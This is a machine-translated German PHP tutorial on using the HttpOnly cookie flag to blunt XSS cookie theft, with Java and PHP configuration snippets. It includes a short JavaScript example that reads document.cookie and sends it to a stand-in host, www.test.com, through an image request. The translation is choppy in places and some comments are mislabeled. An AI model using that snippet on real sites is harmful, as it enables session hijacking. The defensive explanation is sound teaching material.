Heim >Backend-Entwicklung >PHP-Tutorial >PHP verwendet httponly, um XSS-Angriffe zu verhindern

PHP verwendet httponly, um XSS-Angriffe zu verhindern

怪我咯
怪我咯Original
2017-07-12 15:30:492258Durchsuche
  1. Was ist HttpOnly?

    Wenn Sie das HttpOnly-Attribut in Cookie festlegen, werden die Cookie-Informationen nicht über das JS-Skript gelesen. Dies gilt für Um XSS-Angriffe zu verhindern, suchen Sie bitte auf Google nach einer genaueren Einführung

  2. Wird die API von JavaEE unterstützt?

Derzeit hat Sun die entsprechende API nicht angekündigt, aber PHP und C# haben sie implementiert. Brüder, die sich mit JavaEE beschäftigen, sind ziemlich deprimiert, keine Sorge, es gibt unten Workarounds

3. HttpOnly-Einstellungsbeispiel

javaEE
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

In diesem Artikel wird hauptsächlich PHP für die XSS-Verteidigung vorgestellt Verwenden Sie httponly, um zu verhindern, dass auf einer Website beliebiger JS-Code ausgeführt werden kann. Das Erschreckendste ist, dass Angreifer JS verwenden, um

Cookie

oder Sitzung zu entführen enthält eine große Menge vertraulicher Informationen (Identitätsinformationen, Administratorinformationen) usw., das ist alles. . . Die folgenden js erhalten Cookie-Informationen:

Der Code lautet wie folgt:

Allgemeine Cookies werden jetzt aus dem Dokument
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
Objekt

abgerufen Beim Setzen von Cookies wird im Allgemeinen ein Parameter namens HttpOnly akzeptiert, genau wie Domäne und andere Parameter. Sobald dieser HttpOnly gesetzt ist, wird das Cookie nicht im Dokumentobjekt des Browsers angezeigt.
PHP-Einstellungen HttpOnly
:

Für PHP-Versionen vor PHP5.1:
//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

Schließlich ist HttpOnly kein Allheilmittel!
header("Set-Cookie: hidden=value; httpOnly");

Das obige ist der detaillierte Inhalt vonPHP verwendet httponly, um XSS-Angriffe zu verhindern. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn